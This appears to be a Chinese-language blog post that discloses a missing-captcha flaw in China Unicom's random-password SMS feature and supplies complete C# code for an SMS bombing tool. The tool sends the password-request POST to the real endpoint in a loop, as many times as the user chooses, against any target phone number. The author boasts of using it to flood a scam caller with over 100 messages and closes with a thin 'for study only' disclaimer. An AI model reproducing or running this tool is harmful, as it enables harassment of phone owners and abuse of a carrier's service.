說到簡訊攻擊,估計各位大蝦們都不會陌生,其基本方式不外乎是通過向目標手機號發送大批量的垃圾簡訊,而且發的是免費的簡訊。這些免費的簡訊通常是網站或sp服務商發送確認密碼或隨機密碼,只要輸入手機號就可以。不過最近漏洞比較少,開發人員都學會了輸入驗證碼之後才讓傳送簡訊。不過最近還是讓我發現了一處漏洞,僅僅輸入手機號,不需要輸入驗證碼就可以發送,其來源就是標題所說的聯通網站(http://www.10010.com/myAccount.jsp)。實現方式是,在使用者登入時選擇"隨機密碼",輸入手機號之後,點擊"點擊擷取隨機密碼"就可以收到一條簡訊。 發現這一功能後,當即用firebug攔截了請求資料,發現其僅僅是通過post一些參數來實現,沒有任何的驗證。攔截資料如:
請求路徑:
請求資料:
很明顯 c0-param0後面的內容就是手機號碼,只要更改該手機號碼為目標號碼即可。
這樣製作一個簡訊攻擊最重要的內容已經有了,接下來就是讓程式去多次發送請求,即可實現簡單的簡訊攻擊。
實現的基本代碼如下:
實現代碼
/// <summary>
/// 建立HttpWebRequest
/// </summary>
/// <returns></returns>
private static HttpWebRequest CreateHttpWebRequest(string url)
{
HttpWebRequest webRequest = WebRequest.Create(url) as HttpWebRequest;
webRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
webRequest.Accept = "*/*";
webRequest.ContentType = "*/*";
webRequest.Referer = "http://www.java.com.cn";
webRequest.CookieContainer = new CookieContainer();
return webRequest;
}
/// <summary>
/// 發送post請求
/// </summary>
/// <param name="url">路徑</param>
/// <param name="pars">參數</param>
private static void SendPostRequest(string url, Dictionary<string, string> pars)
{
HttpWebRequest request = CreateHttpWebRequest(url);
request.Method = "post";
request.ContentType = "application/x-www-form-urlencoded";
// 請求參數
StringBuilder sbRequestPars = new StringBuilder();
foreach (KeyValuePair<string, string> par in pars)
{
sbRequestPars.AppendFormat("{0}={1}&", par.Key, par.Value);
}
// 去除最後的&
sbRequestPars = new StringBuilder(sbRequestPars.ToString(0, sbRequestPars.Length - 1));
byte[] data = Encoding.ASCII.GetBytes(sbRequestPars.ToString());
request.ContentLength = data.Length;
// 寫入請求參數
Stream myStream = request.GetRequestStream();
myStream.Write(data, 0, data.Length);
myStream.Close();
try
{
HttpWebResponse res = request.GetResponse() as HttpWebResponse;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
public static void Main(string[] args)
{
Console.WriteLine("請輸入手機號:");
string phone = Console.ReadLine();
Console.WriteLine("請輸入攻擊次數:");
int cnt = int.Parse(Console.ReadLine().Trim());
// 關鍵執行部分
Dictionary<string, string> pars = new Dictionary<string, string>();
pars.Add("callCount", "1");
pars.Add("c0-scriptName", "Login");
pars.Add("c0-methodName", "sendRandomPWD");
pars.Add("c0-id", "7587_1260864462581");
pars.Add("c0-param0", "string:" + phone);
pars.Add("xml", "true");
for (int i = 0; i < cnt; i++)
{
Console.WriteLine("正在發送第{0}條", (i+1).ToString());
SendPostRequest("http://www.10010.com/dwr/exec/Login.sendRandomPWD.dwr", pars);
}
Console.WriteLine("執行完畢");
Console.ReadLine();
Environment.Exit(-1);
}
經過本人手機測試,發送10條以上沒有問題。另外今天也用來整了一個電話詐騙的,發送了100多條。不過,有個重要問題就是只能用在聯通的手機號上,不用我說為什麼了。
估計聯通網站目前還不知道這個問題,發帖之後很多人會用這個資源,到時候還是會把這個漏洞補上的。
最後提醒,這個僅供學習、練習之用,或者用來整治那些電話詐騙、簡訊騷擾的,不可用於違法行為。